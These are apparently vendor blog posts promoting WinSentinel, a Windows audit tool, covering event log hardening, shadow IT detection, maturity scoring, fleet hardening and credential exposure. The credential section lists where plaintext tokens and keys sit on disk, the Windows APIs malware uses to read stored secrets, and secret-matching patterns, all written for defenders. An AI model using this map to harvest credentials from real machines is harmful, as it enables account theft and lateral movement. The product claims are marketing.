One more critical setting: enable command-line auditing in process creation events:

# Include full command line in Event ID 4688
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit" /v ProcessCreationIncludeCmdLine_Enabled /t REG_DWORD /d 1 /f

Without this, Event ID 4688 tells you that powershell.exe was launched — but not what it executed. With it, you get the full command line, including encoded arguments. This single registry key has saved more IR investigations than any other configuration I know.

What WinSentinel Checks

WinSentinel's Event Log Analysis module (Module #32) audits all of this automatically:

$ winsentinel --audit --modules eventlog

 Event Log Analysis
 ─────────────────────────────────────────────────────
 [CRITICAL] Security log size is 20 MB (default)
   → Estimated retention: ~4 days at current event volume
   → Minimum recommended: 256 MB for 30+ day retention
   → Fix: wevtutil sl Security /ms:268435456

 [CRITICAL] Process Creation auditing disabled
   → Event ID 4688 will not be generated
   → No visibility into process execution on this machine
   → Fix: auditpol /set /subcategory:"Process Creation" /success:enable

 [WARNING] Command-line auditing not enabled
   → Process creation events won't include command arguments
   → Fix: reg add "HKLM\...\Audit" /v ProcessCreationIncludeCmdLine_Enabled ...

 [WARNING] 3 failed logon attempts in last 24h from unknown source
   → Source: 192.168.1.47 (Event ID 4625)
   → Could indicate brute force attempt
   → Review: wevtutil qe Security /q:"*[System[EventID=4625]]"

 [WARNING] Audit log cleared 2 days ago (Event ID 1102)
   → Cleared by: DESKTOP-XK\admin at 2026-06-05 02:14:33
   → Possible anti-forensics activity
   → Investigate: who accessed this machine at that time?

 [INFO]    System log size: 20 MB (default — recommend 128 MB)
 [INFO]    PowerShell Operational log size: 15 MB (recommend 128 MB)

The module checks log sizes, audit policy configuration, recent suspicious events (failed logons, log clears, privilege escalation), and whether key forensic channels are properly enabled. It's a 5-second check that tells you whether your machine will be useful in an investigation.

Log Forwarding: The Off-Machine Safety Net

Local log hardening is necessary but not sufficient. An attacker with admin access can always tamper with local logs — no matter how large or well-configured they are. The defense-in-depth answer is forwarding critical events to a location the attacker can't reach from the compromised machine.

Options, from simplest to most robust:

• Windows Event Forwarding (WEF) — Built into Windows. Configure a collector server to pull events from endpoints. No additional software needed. Free.
• Syslog forwarding — Use NXLog or Winlogbeat to ship events to a syslog server, Elastic, or Splunk. Adds 10-20 MB of memory overhead per endpoint.
• File share archival — Simple but effective: a scheduled task that copies *.evtx files to a network share with write-only ACLs nightly. Not real-time but better than nothing.

For fleet environments, WinSentinel Pro's central node can aggregate event log health status across all endpoints — showing you which machines have inadequate log sizes, missing audit policies, or recent log-clearing activity. You fix the detection gap before it matters, not after the breach.

The 5-Minute Hardening Checklist

If you read nothing else in this post, do these five things:

• 1. Increase Security log to 256 MB: wevtutil sl Security /ms:268435456
• 2. Increase System log to 128 MB: wevtutil sl System /ms:134217728
• 3. Enable Process Creation auditing: auditpol /set /subcategory:"Process Creation" /success:enable
• 4. Enable command-line logging: registry key for ProcessCreationIncludeCmdLine_Enabled
• 5. Enable PowerShell Script Block Logging: see our PowerShell hardening post

Five commands. Under 5 minutes. The difference between "we know what the attacker did" and "we have no idea — the logs didn't go back far enough."

Getting Started

Run a log health check right now:

dotnet tool install --global WinSentinel.Cli
winsentinel --audit --modules eventlog

WinSentinel checks log sizes, audit policies, recent suspicious events, and retention adequacy — all in a single command. The free tier gives you full event log analysis on every machine. No license, no cloud, no agents to deploy. Fix what it flags, and your machine becomes a reliable forensic witness instead of a blank tape that recorded over itself last Tuesday.

For organizations managing multiple endpoints, WinSentinel Pro rolls up event log health across the fleet — ensuring every machine meets your retention policy before an incident forces you to find out which ones don't.

Shadow IT is the polite term for "software your IT team didn't approve, doesn't know about, and can't patch." It's the number one source of unmanaged attack surface in enterprise Windows environments. According to Gartner, by 2027 over 75% of employees will acquire, modify, or create technology outside IT's visibility — up from 41% in 2022.

The problem isn't malice. It's friction. When the official approval process takes three weeks and someone needs a screenshot tool now, they install one from a random GitHub repo. When the company VPN client is slow, someone downloads a "faster" alternative. When that free font editor bundles a toolbar that phones home to a C2 server... well, that's how breaches start.

What Counts as Shadow IT?

Shadow IT on a Windows endpoint falls into five categories, each with different risk profiles:

• Sideloaded applications — .exe installers downloaded from the web, bypassing your software distribution system. These never get patched automatically.
• Browser extensions — Chrome, Edge, and Firefox extensions with broad permissions. An extension with "Read and change all your data on all websites" can exfiltrate credentials silently.
• Portable apps — Executables running from Downloads, Desktop, or USB drives without installation. Invisible to traditional software inventory tools.
• Unapproved Store apps — MSIX/AppX packages from the Microsoft Store that bypass Group Policy restrictions.
• Developer tools — Package managers (npm, pip, cargo), local servers, containerization tools, and SDKs with network listeners. Each one is an attack surface.

Why Traditional Inventory Fails

If you're relying on "Add/Remove Programs" or SCCM software inventory, you're seeing maybe 60% of what's actually running. Here's what gets missed:

• Portable executables — no registry entry, no installer log, no Windows Installer record. They just... exist.
• Browser extensions — installed per-user-profile, not per-machine. SCCM doesn't scan browser extension directories.
• Scheduled tasks and services — software that registered itself to run at boot but doesn't appear in the standard app list.
• Python/Node scripts as services — pythonw.exe running a Flask server that's been forwarding port 8080 to the internet for six months.

WinSentinel's Shadow IT Detection

WinSentinel's Application Security module takes a fundamentally different approach. Instead of scanning a software catalog, it audits the actual behavior of the endpoint:

winsentinel --audit --modules app-security,browser-security

This performs five distinct checks:

1. Unsigned Process Audit

Every running process is checked for a valid Authenticode signature. Unsigned binaries running from user-writable directories (Downloads, AppData, Desktop) are flagged immediately. This catches sideloaded tools, cracked software, and malware that hasn't been signed.

# Example finding
[CRITICAL] Unsigned process: C:\Users\jdoe\Downloads\pdf-converter-pro.exe
  PID: 4892 | Started: 2026-06-01 09:14:22
  Network: Listening on 127.0.0.1:9222
  Risk: Unsigned binary with network listener in user directory
  Fix: Terminate process, remove binary, install approved alternative

2. Extension Permission Analysis

Browser extensions are enumerated across all installed browsers (Chrome, Edge, Firefox, Brave) and their manifest permissions analyzed. Extensions requesting webRequest, cookies, <all_urls>, or nativeMessaging are flagged as high-risk.

# Example finding
[WARNING] High-risk Chrome extension: "SuperTab Pro" (v2.1.3)
  Permissions: tabs, webRequest, webRequestBlocking, , cookies
  Users: 3 profiles on this machine
  Last Updated: 2025-11-04 (7 months ago - possibly abandoned)
  Risk: Full traffic interception capability, stale update

3. Known-Vulnerable Software Detection

Installed software versions are cross-referenced against known CVE databases. But more importantly: unmanaged software that can't receive automatic updates is flagged even without a known CVE — because it's only a matter of time.

4. Sideloaded Package Detection

MSIX/AppX packages that weren't installed through your approved distribution channel are identified. This catches both legitimate Store apps installed outside policy and repackaged malware using the MSIX format for persistence.

5. Autorun and Persistence Audit

Registry Run keys, scheduled tasks, and startup folders are audited for entries pointing to non-standard locations. Shadow IT often needs persistence — and persistence is detectable.

The Fleet Problem: Shadow IT × 100 Machines

On a single machine, shadow IT is manageable. Run an audit, review findings, clean up. On a fleet of 50+ machines? It's a different game entirely.

Consider: if each of your 100 endpoints has an average of 3 shadow IT findings, that's 300 individual items to triage. But it gets worse — the same unauthorized tool might be on 40 machines (a popular "productivity hack" spreading through the team), while a genuinely dangerous sideloaded binary might be on just one. You need aggregation to see the pattern.

# Fleet-wide shadow IT summary (Pro)
winsentinel fleet status --filter app-security

Fleet Shadow IT Summary (87 nodes reporting)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Critical: 12 unsigned processes across 8 nodes
Warning:  47 high-risk extensions across 34 nodes
Info:     156 sideloaded apps across 62 nodes

Top Unauthorized Software:
  1. PDFMagic Pro (cracked) — 23 nodes — CRITICAL
  2. "Tab Manager Plus" extension — 41 nodes — WARNING
  3. Portable FileZilla (outdated) — 18 nodes — WARNING
  4. Python 3.9.1 (user-installed, EOL) — 12 nodes — WARNING

Recommended Actions:
  → Block PDFMagic Pro hash via AppLocker (fleet push available)
  → Deploy approved PDF tool via SCCM/Intune
  → Force-remove Tab Manager Plus via Chrome policy

This is where WinSentinel Pro transforms shadow IT from "periodic scary audit" into "continuous automated hygiene." The fleet dashboard shows shadow IT trends over time, alerts on new unauthorized installs within hours (not quarters), and can push remediation policies across all nodes simultaneously.

Building a Shadow IT Response Playbook

Detection without response is just anxiety. Here's a practical framework:

Tier 1: Immediate Block (Critical)

• Unsigned binaries with network listeners → kill process, quarantine binary
• Known malware signatures → isolate endpoint, trigger incident response
• Cracked/pirated software → legal liability, remove immediately

Tier 2: Managed Replacement (Warning)

• Useful but unapproved tools → fast-track an approved alternative
• High-risk browser extensions → deploy managed extension policy
• Outdated developer tools → provide managed package manager access

Tier 3: Monitor and Educate (Info)

• Low-risk portable tools → add to allowlist if legitimate, communicate policy
• Personal apps on work devices → remind users of acceptable use policy
• Store apps outside catalog → consider adding to approved list

Automating the Fix

WinSentinel's FixEngine can automate Tier 1 responses. When an unsigned binary with a network listener is detected, the fix action is:

# Automated fix for shadow IT findings
winsentinel fix --finding APP-SEC-001 --dry-run

Proposed Fix:
  1. Terminate process pdf-converter-pro.exe (PID 4892)
  2. Block binary hash in Windows Defender Application Control
  3. Remove file C:\Users\jdoe\Downloads\pdf-converter-pro.exe
  4. Add Defender exclusion block for the hash

Apply? [y/N] y
✓ Process terminated
✓ WDAC rule added
✓ File removed
✓ Finding resolved

Prevention: Making Shadow IT Unnecessary

The best shadow IT strategy is making it unnecessary. Every unauthorized tool represents a gap in your approved toolkit. Track which shadow IT tools appear most frequently and ask: "Why are people reaching for this?"

• If 30 people installed the same screenshot tool → your approved one sucks. Fix that.
• If developers keep installing portable editors → your dev environment provisioning is too slow.
• If marketing has 15 browser extensions → they need better training on what's built into your CRM.

WinSentinel's trend analysis (free, local) shows you the pattern — which categories of shadow IT are growing, which are shrinking after policy changes, and where your biggest exposure lies.

Getting Started

Install WinSentinel and run a shadow IT audit today:

dotnet tool install --global WinSentinel.Cli
winsentinel --audit --modules app-security,browser-security
winsentinel --score

The free tier gives you full shadow IT detection on a single machine — no license needed. For fleet-wide shadow IT monitoring with automated policy push, check out WinSentinel Pro for organizations managing 25+ endpoints.

Security scores are everywhere. Compliance dashboards show percentages. Vulnerability scanners count CVEs. But a number without context is useless. Telling a sysadmin "your score is 72" doesn't help them understand where they're weak, why they're weak, or what to do next.

WinSentinel's maturity assessment takes a different approach. Instead of a single number, it evaluates your security posture across seven distinct domains using a CMMI-inspired 5-level maturity scale. Each domain gets its own level, strengths, gaps, and targeted recommendations. The result: a security assessment that actually tells you something useful.

The Seven Security Domains

Every finding from a WinSentinel audit maps to one of seven security domains. This isn't arbitrary grouping — each domain represents a distinct area of security responsibility with its own controls, risks, and remediation paths:

• Identity & Access — User accounts, credentials, local admin sprawl, remote access controls (RDP, WinRM). The most common attack entry point.
• Network Security — Firewall rules, DNS configuration, Wi-Fi posture, SMB/Bluetooth exposure, open listening ports. Your perimeter defense.
• Endpoint Protection — Windows Defender status, real-time protection, driver signing, running processes and services. The last line of defense.
• Data Protection — BitLocker encryption, privacy settings, browser security, certificate store health. Protecting data at rest and in transit.
• Patch & Config Management — OS and application updates, software inventory, registry hardening, Group Policy compliance. Keeping everything current.
• System Hardening — PowerShell execution policy, audit logging, virtualization security, environment configuration. Reducing attack surface.
• Resilience & Recovery — Backup configuration, event log retention, scheduled task security. Your ability to survive and recover from incidents.

The domain model matters because security weaknesses cluster. An organization with poor Identity & Access controls almost always has credential sprawl, stale admin accounts, and exposed remote access — fixing one finding without addressing the domain-level gap just plays whack-a-mole.

The Five Maturity Levels

Each domain is assessed on a 1–5 scale inspired by the Capability Maturity Model Integration (CMMI). This isn't about counting findings — it's about understanding how mature your security controls are in each area:

• Level 1 – Initial (score <35%): Security is reactive and unstructured. Critical gaps exist. You're hoping attackers don't find the holes before you do.
• Level 2 – Repeatable (score 35–54%): Basic controls exist but are inconsistently applied. Some machines are hardened, others aren't. No systematic approach.
• Level 3 – Defined (score 55–74%): Security practices are documented and followed. Most controls are in place. You have a baseline, but monitoring is manual.
• Level 4 – Managed (score 75–89%): Security is measured and monitored. You track trends, catch regressions quickly, and have automated enforcement for most controls.
• Level 5 – Optimizing (score 90%+): Continuous improvement with proactive measures. Controls are comprehensive, automated, and regularly reviewed. You're ahead of threats, not chasing them.

How Scoring Works Under the Hood

The maturity score isn't arbitrary. Every finding from every audit module contributes to its domain's score using a weighted system:

# Scoring weights per finding:
# Pass    = +3 points  (control is properly configured)
# Info    = +1 point   (informational, no action needed)
# Warning =  0 points  (needs attention)
# Critical = -1 point  (urgent — actively weakens posture)

# Domain percentage = (actual score / max possible) × 100
# Max possible = total findings × 3

# Example: 4 findings in Network Security
#   Firewall enabled (Pass)      → +3
#   DNS over HTTPS (Pass)        → +3
#   SMBv1 still active (Warning) →  0
#   Open RDP port (Critical)     → -1
#   Score: 5 / 12 = 41.7% → Level 2 (Repeatable)

The negative weight for critical findings is intentional. A single critical finding doesn't just add zero — it pulls the score down. This prevents a machine with 10 passing checks and 1 gaping hole from appearing healthy. One critical vulnerability can undo multiple good configurations.

Scores are always clamped to zero minimum — you can't go negative. But a domain flooded with critical findings will hit zero fast, clearly signaling that the entire domain needs attention, not just individual fixes.

From Scores to Grades: The Overall Assessment

Your overall security grade (A through F) isn't just the average of your domain scores. It's the average of your domain maturity levels, rounded to the nearest level:

# Run a maturity assessment:
winsentinel --audit --maturity

# Output:
# ┌─────────────────────────────┬───────┬─────────┬──────────────┐
# │ Domain                      │ Level │ Score   │ Grade        │
# ├─────────────────────────────┼───────┼─────────┼──────────────┤
# │ Identity & Access           │   4   │  82.3%  │ Managed      │
# │ Network Security            │   3   │  61.5%  │ Defined      │
# │ Endpoint Protection         │   5   │  95.0%  │ Optimizing   │
# │ Data Protection             │   4   │  78.9%  │ Managed      │
# │ Patch & Config Management   │   2   │  41.7%  │ Repeatable   │
# │ System Hardening            │   3   │  66.7%  │ Defined      │
# │ Resilience & Recovery       │   1   │  25.0%  │ Initial      │
# └─────────────────────────────┴───────┴─────────┴──────────────┘
# Overall: Level 3.1 (Defined) — Grade C
# Top priorities:
#   1. Improve Resilience & Recovery (Level 1 – Initial)
#   2. Improve Patch & Config Management (Level 2 – Repeatable)

The grade mapping is straightforward: Optimizing = A, Managed = B, Defined = C, Repeatable = D, Initial = F. No curve, no fudging. If your average domain level is Defined, you get a C — meaning there's real room to improve.

Strengths, Gaps, and Targeted Recommendations

The maturity assessment doesn't just score you — it tells you exactly what's working and what isn't. For each domain, you get:

• Strengths — up to 3 passing controls that are properly configured. These are your wins. Don't let them regress.
• Gaps — up to 3 critical or warning findings that need attention, ordered by severity (criticals first). These are your immediate action items.
• Recommendations — domain-specific, level-appropriate advice. A Level 1 Identity & Access domain gets "Enable MFA and review account policies." A Level 4 domain gets "Maintain current controls and monitor for regression."

The recommendations are not generic. Each domain has its own improvement path based on its current maturity level. You won't see "enable BitLocker" as a recommendation for your Network Security domain — that advice appears in Data Protection, where it belongs.

Top Priorities: Where to Focus First

With seven domains to improve, where do you start? The assessment generates a prioritized list of your weakest domains — up to three top priorities, ordered from worst to best:

# Top priorities (from the assessment above):
# 1. Improve Resilience & Recovery (currently Level 1 – Initial)
#    → Configure automated backups and secure event log retention
# 2. Improve Patch & Config Management (currently Level 2 – Repeatable)
#    → Enable automatic updates and remove unauthorized software
#
# Only domains at Level 2 (Repeatable) or below appear in priorities.
# If all domains are Level 3+, the priorities list is empty — you're
# in good shape. Focus on maintaining and monitoring.

This is the "what to do Monday morning" list. Don't try to improve everything at once. Focus on moving your worst domain up one level at a time. Going from Level 1 to Level 2 in Resilience & Recovery is more impactful than going from Level 4 to Level 5 in Endpoint Protection.

Tracking Maturity Over Time

A single maturity assessment is a snapshot. The real value comes from tracking your maturity levels over weeks and months. WinSentinel stores every scan result locally, so you can watch your trajectory:

# Score history and trend:
winsentinel --score --trend

# Are you improving? Regressing? Flat-lining?
# The maturity model makes progress measurable:
#   Week 1: Overall Level 2.3 (Grade D)
#   Week 4: Overall Level 3.1 (Grade C)
#   Week 8: Overall Level 3.7 (Grade C — close to B)
#   Week 12: Overall Level 4.0 (Grade B)
#
# You went from reactive (D) to measured (B) in 3 months.
# That's a story you can tell your CISO.

The maturity model gives you a language for security improvement that executives understand. "We moved from Level 2 to Level 4 in Identity & Access" is clearer than "we reduced critical findings by 73%." Both are true — the maturity framing communicates capability, not just bug counts.

What Good Maturity Looks Like

For most organizations, the realistic target is Level 4 (Managed) across all domains — Grade B. Here's what that looks like in practice:

• All machines have no critical findings
• Warning findings are tracked and remediated within SLAs
• Security posture is measured weekly via automated scans
• Regressions are caught within 24 hours
• Every security domain has documented controls
• Score trending shows sustained improvement or stability

Level 5 (Optimizing) is the aspirational target for security-sensitive environments — healthcare, finance, government. It requires near-zero warnings, proactive hardening ahead of new threat intelligence, and continuous automated verification of every control.

Getting Started

Run your first maturity assessment in 30 seconds:

# Install WinSentinel:
dotnet tool install --global WinSentinel.Cli

# Run a full audit with maturity assessment:
winsentinel --audit

# Your grade, domain scores, strengths, gaps, and
# prioritized recommendations — all in one report.

No cloud account needed. No agent to deploy. Everything runs locally using real Windows APIs. Your security data never leaves your machine.

For organizations managing multiple machines, WinSentinel Pro aggregates maturity assessments across your entire fleet — giving you a single dashboard view of which domains need the most attention across which machines.

Install WinSentinel and find out what grade your machine gets.

The average enterprise Windows fleet has a dirty secret: endpoint posture varies wildly between machines. One laptop is fully patched with BitLocker enabled and PowerShell constrained. The next has SMBv1 running, UAC disabled, and cached credentials from three former employees still sitting in Credential Manager. Both passed their last compliance check — six months ago.

Zero-trust isn't just about network segmentation and identity verification. It extends to every endpoint. The principle is simple: never assume an endpoint is hardened — continuously verify it. But implementing this across 50, 500, or 5,000 Windows machines requires tooling that most organizations don't have.

The Three Pillars of Zero-Trust Endpoint Hardening

Pillar 1: Continuous Posture Verification

Traditional compliance checking is a point-in-time snapshot. You audit on Monday, and by Wednesday someone has disabled Windows Firewall to troubleshoot a printer issue. Zero-trust demands continuous verification — not "check once a quarter" but "verify every endpoint, every day."

What continuous verification looks like in practice:

• Daily automated scans on every machine in the fleet
• Drift detection — instant alerting when a previously-passing machine regresses
• Score trending — track whether posture is improving or degrading over time
• Real-time monitoring — catch security-impacting changes as they happen (firewall disabled, new admin added, service installed)

With WinSentinel's agent mode, each machine runs continuous local scans and reports posture back to the central control plane. No sampling, no assumptions — every node verified continuously:

# Each machine in the fleet runs:
winsentinel agent start

# The agent performs daily audits + real-time monitoring
# Reports posture to your fleet dashboard automatically

Pillar 2: Least-Privilege Enforcement

Zero-trust means no unnecessary privileges anywhere in the fleet. This is more than "don't make everyone admin." It's a systematic approach to minimizing every machine's attack surface:

• Local admin audit — who actually needs admin on each machine? Most don't. WinSentinel flags every local admin account and tracks admin sprawl across the fleet.
• Service account review — services running as SYSTEM when LocalService would suffice. Each unnecessary privilege is an escalation vector.
• PowerShell policy — ConstrainedLanguageMode on endpoints that don't need full PowerShell. Transcription logging everywhere.
• Network exposure minimization — every listening port that doesn't need to be open is a risk. RDP, WinRM, SMB — audit what's exposed and close what shouldn't be.
• USB and removable media — block by default, allow by exception.

The challenge at fleet scale: you can't manually review 500 machines' privilege configurations. You need automated enforcement with policy-as-code:

# Define your fleet security policy
winsentinel fleet push-policy --profile "zero-trust-standard" --nodes all

# Policy includes:
# - Max 2 local admins per machine
# - PowerShell ConstrainedLanguageMode
# - RDP disabled unless explicitly allowed
# - USB write-blocked
# - BitLocker required on all volumes

Pillar 3: Automated Remediation & Response

Detection without response is just expensive logging. Zero-trust endpoint hardening needs automated remediation that brings machines back into compliance without waiting for a ticket to be filed:

• Auto-fix for critical regressions — if Windows Firewall gets disabled, re-enable it immediately. If UAC drops to Never Notify, restore it.
• Policy drift correction — when a machine falls out of compliance, automatically apply the fix and log the remediation.
• Graduated response — informational findings get logged, warnings get ticketed, critical findings get auto-remediated.
• Isolation triggers — machines that regress past a threshold can be flagged for network quarantine pending manual review.

# Automated fleet-wide remediation
winsentinel fleet scan-all --auto-fix --severity critical

# Results: 3 machines had Firewall disabled → auto-remediated
#          1 machine had RDP exposed to public → fixed
#          2 machines missing patches → scheduled for update window

Implementing Zero-Trust Fleet Hardening: A Phased Approach

Phase 1: Visibility (Week 1)

You can't secure what you can't see. Deploy WinSentinel agents across the fleet and run your first full audit:

# Install on every machine (NuGet global tool):
dotnet tool install --global WinSentinel.Cli

# First audit — understand current posture:
winsentinel --audit --export json > baseline-$(hostname).json

This gives you an honest assessment. Most organizations are shocked by their first fleet-wide scan. The average initial score across a 100-machine fleet is typically 55-65/100. The gap between your best-hardened machine and your worst is usually 30+ points.

Phase 2: Standardization (Week 2-3)

Define what "good" looks like. Map CIS Benchmarks Level 1 to your environment and create a target compliance profile:

• Score target: 85+ on every machine
• Zero criticals allowed
• All machines BitLocker-encrypted
• PowerShell logging enabled everywhere
• No stale admin accounts (>90 days inactive)
• No machines running SMBv1

Phase 3: Continuous Enforcement (Week 4+)

Move from manual audits to continuous automated monitoring with policy enforcement:

# Fleet-wide status at a glance
winsentinel fleet status

# Output:
# Fleet: 142 nodes | Average Score: 88/100
# Compliant: 134 (94.4%) | Non-compliant: 8
# Critical findings: 3 | Warnings: 47 | Improving: ↑12 nodes this week
# Worst node: DESKTOP-8XK2 (Score: 61) — 4 criticals
# Action needed: 8 nodes below policy threshold

Common Fleet Hardening Gaps (and How to Close Them)

Gap 1: Credential Sprawl

In a fleet of 100 machines, you'll typically find 300+ cached credentials across Credential Manager, SSH keys, git credential stores, and browser-saved passwords. Each is a lateral movement vector. The fix isn't "delete everything" — it's systematic rotation, least-privilege access, and monitoring for credential exposure.

Gap 2: Patch Drift

Even with WSUS or Intune pushing updates, patch compliance across a fleet is never 100%. Some machines are offline during update windows. Some have updates paused. Some fail silently. Zero-trust means verifying patch state independently of your update mechanism — trust but verify, or better: never trust, always verify.

Gap 3: Configuration Entropy

Every machine in a fleet accumulates unique configuration drift over time. Group Policy helps but doesn't cover everything (PowerShell execution policy, local admin accounts, service configurations, scheduled tasks, browser extensions). Fleet hardening requires auditing the things Group Policy doesn't manage.

Gap 4: Shadow IT and Unauthorized Software

Users install Chrome extensions, sideload applications, run portable executables from USB drives. Each is a potential attack vector that traditional MDM doesn't catch. WinSentinel's Application Security module audits everything — not just what was deployed through official channels.

Measuring Fleet Security Posture

Zero-trust fleet hardening isn't a destination — it's a continuous process. Track these metrics over time:

• Fleet average score — target: 85+, trending upward
• Compliance rate — % of machines meeting your policy threshold
• Mean time to remediation — how quickly do regressions get fixed?
• Drift frequency — how often do machines fall out of compliance?
• Critical finding count — should be zero and stay zero
• Score variance — the gap between best and worst machine (lower is better)

WinSentinel Pro provides fleet-wide compliance rollups, per-node trending, and drift alerts that make these metrics actionable — not just visible.

Getting Started

Zero-trust fleet hardening starts with a single machine. Install WinSentinel, run your first audit, and see where you stand. Then roll it out to 5 machines, then 50. The CLI is free and unlimited on every machine — you only need Pro when you're ready for centralized fleet orchestration.

# Start here — one machine, full audit:
dotnet tool install --global WinSentinel.Cli
winsentinel --audit

# Ready for fleet? Pro adds centralized management:
# winsentinel.ai/pricing

See pricing for fleet management →

Here's a question that should make you uncomfortable: if an attacker got a shell on your machine right now — standard user, no admin privileges — how many credentials could they harvest without triggering a single alert? The answer, on most Windows workstations, is "enough to pivot to production infrastructure within minutes."

This isn't about Mimikatz or LSASS dumping. Those require admin rights and are well-detected by modern EDR. I'm talking about credentials that are already on disk in readable form, accessible to any process running as your user. Git credential stores. SSH keys without passphrases. Cloud CLI tokens. Browser-saved passwords. Wi-Fi pre-shared keys. The credential surface on a typical developer or admin machine is staggering.

WinSentinel's Module #6 (Credential Exposure) systematically audits every one of these vectors. Let's walk through exactly what it checks, why each matters, and what you can do about it.

What the Module Actually Scans

When you run winsentinel --audit --modules credentials, the module performs seven distinct analysis passes:

1. Windows Credential Manager

The built-in Credential Manager (cmdkey /list) stores cached credentials for network shares, RDP sessions, and web logins. The problem isn't that it exists — it's that many of these entries outlive their usefulness and expand your blast radius if compromised.

$ winsentinel --audit --modules credentials

 Credential Exposure
 ─────────────────────────────────────────────────────
 [WARNING] Windows Credential Manager: 14 stored credentials
   → 3 RDP targets with saved passwords
   → 2 network shares with domain credentials
   → 1 entry older than 365 days (likely stale)
   → Review: cmdkey /list | Remove stale: cmdkey /delete:target

The risk: any process running as your user can enumerate and use these credentials via CredRead() API calls. An attacker doesn't need your password — they just call the same Windows API your RDP client uses.

What to do: Periodically purge credentials you no longer need. WinSentinel flags entries older than 180 days as likely stale. For RDP, use a password manager or certificate-based auth instead of saved passwords.

2. Git Credential Stores

Git's credential helpers vary wildly in security. The module checks for the worst offender first:

 [CRITICAL] Git credentials stored in plaintext file
   → C:\Users\you\.git-credentials contains 3 tokens
   → credential.helper = store (writes plaintext to disk)
   → Fix: git config --global credential.helper manager
   → Then delete: Remove-Item ~/.git-credentials

git config credential.helper store writes your PATs and passwords to ~/.git-credentials in cleartext. No encryption. No ACL restrictions beyond your user profile. Any malware, any rogue npm postinstall script, any process running as you can read them.

The module checks for:

• ~/.git-credentials — plaintext credential file (Critical)
• credential.helper = store in git config (Critical)
• credential.helper = manager or manager-core — DPAPI-protected, acceptable (Info)
• Tokens embedded directly in .git/config remote URLs (Critical)

The fix: Switch to Git Credential Manager, which stores tokens in Windows Credential Manager (DPAPI-encrypted, tied to your login session):

git config --global credential.helper manager
Remove-Item "$env:USERPROFILE\.git-credentials" -ErrorAction SilentlyContinue

3. SSH Key Security

The module inspects every key in ~/.ssh/ for three properties: passphrase protection, algorithm strength, and file permissions.

 [WARNING] SSH private key without passphrase: id_ed25519
   → C:\Users\you\.ssh\id_ed25519
   → Key type: ed25519 (algorithm OK)
   → No passphrase protection — usable by any process as your user
   → Fix: ssh-keygen -p -f ~/.ssh/id_ed25519

 [WARNING] SSH key using weak algorithm: id_rsa (RSA-2048)
   → Consider upgrading to Ed25519: ssh-keygen -t ed25519

 [INFO]    SSH key with passphrase: deploy_key (protected)

A passphrase-less SSH key is functionally equivalent to a password written on a Post-it note next to your monitor. If malware can read files in your home directory (which any user-level process can), it has your key. The passphrase adds a symmetric encryption layer that requires user input to unlock.

Yes, passphrase-protected keys are slightly less convenient. Use ssh-agent to cache the decrypted key for your session — you type the passphrase once at login, and it stays unlocked until you log out. Security without constant friction:

# Start ssh-agent (if not running)
Get-Service ssh-agent | Set-Service -StartupType Automatic
Start-Service ssh-agent

# Add your key (prompts for passphrase once)
ssh-add ~/.ssh/id_ed25519

4. Cloud CLI Credential Files

This is the vector most people forget about. Cloud CLIs cache authentication tokens to disk so you don't re-authenticate every command. Those cached tokens are typically:

• AWS: ~/.aws/credentials — plaintext access key + secret key
• Azure: ~/.azure/msal_token_cache.json — OAuth refresh tokens
• GCP: ~/.config/gcloud/credentials.db — SQLite with OAuth tokens
• Kubernetes: ~/.kube/config — cluster certs and tokens

 [CRITICAL] AWS credentials in plaintext
   → C:\Users\you\.aws\credentials
   → Contains access_key_id + secret_access_key for profile [production]
   → Risk: Full AWS API access for any process running as your user
   → Fix: Use aws sso login for temporary credentials, or
          rotate keys and use credential_process with a secrets manager

 [WARNING] Kubernetes config contains embedded certificates
   → C:\Users\you\.kube\config
   → 2 clusters with client-certificate-data embedded
   → Risk: Cluster admin access without additional authentication

The AWS credentials file is particularly dangerous because those keys don't expire unless you explicitly rotate them. An attacker who steals your ~/.aws/credentials has persistent API access even after you change your Windows password, rotate your domain credentials, or reimage the machine.

Mitigations:

• Use AWS SSO / IAM Identity Center for temporary session credentials
• Use Azure's az login with short-lived tokens + MFA (token cache is DPAPI-protected on Windows)
• For Kubernetes, use OIDC auth plugins instead of embedded certs
• Never store production credentials locally — use assume-role chains with MFA

5. Saved RDP Credentials

Every time you check "Remember my credentials" on an RDP connection, Windows stores them in Credential Manager. The module specifically audits .rdp files and Credential Manager entries for RDP targets:

 [WARNING] Saved RDP credentials: 3 targets
   → PROD-SQL01.corp.local (domain admin context?)
   → DEV-JUMP01.corp.local
   → 10.0.50.12 (unresolved — internal IP)
   → Risk: Credential theft enables lateral movement to these targets
   → Review: cmdkey /list | grep "TERMSRV"

Saved RDP credentials are a lateral movement goldmine. Compromise one workstation, harvest the saved RDP creds, pivot to the next machine. Repeat until you hit a domain controller.

6. Browser Credential Stores

Chrome and Edge store passwords in a SQLite database encrypted with DPAPI. Firefox uses its own encryption. The module checks:

• Whether the browser credential store contains entries (quantity = risk surface)
• Whether Chrome's encryption is tied to the current user (DPAPI) or has a master password (Firefox)
• Whether any browser extensions have permission to access passwords

WinSentinel doesn't read or display your saved passwords — it counts them and flags the exposure surface. 200 saved passwords in Chrome means 200 credentials accessible to any malware running as your user that knows how to call CryptUnprotectData().

Recommendation: Use a dedicated password manager (1Password, Bitwarden, KeePass) instead of browser-native storage. Dedicated managers use stronger key derivation, support hardware key protection, and aren't accessible via standard Windows crypto APIs.

7. Plaintext Credential Files

The final pass is a heuristic scan for common credential file patterns that don't fit the above categories:

• .env files containing API_KEY=, SECRET=, PASSWORD= patterns
• docker-compose.yml with hardcoded database passwords
• *.config files with connection strings containing passwords
• PowerShell scripts with ConvertTo-SecureString using hardcoded keys
• credentials.json, secrets.yaml, *.pem in non-standard locations

 [WARNING] Potential credential file: C:\Projects\myapp\.env
   → Contains 4 lines matching secret patterns
   → Not in .gitignore (risk of accidental commit)
   → Ensure this file is not tracked in version control

This isn't a secret scanner (it doesn't decode or validate the credentials). It's a surface-area check that identifies files likely to contain secrets so you can verify they're properly protected.

The Compound Risk

Each individual credential exposure is a moderate risk. The compound effect is devastating. Consider a realistic developer workstation:

• 3 passphrase-less SSH keys (access to: GitHub, production bastion, internal GitLab)
• AWS credentials for a staging account (with lateral access to production via assume-role)
• 8 saved RDP passwords (including a jump box that reaches prod databases)
• 142 browser-saved passwords (including SSO portals, cloud consoles, CI/CD systems)
• A .env file with a Stripe production API key (from debugging last month)

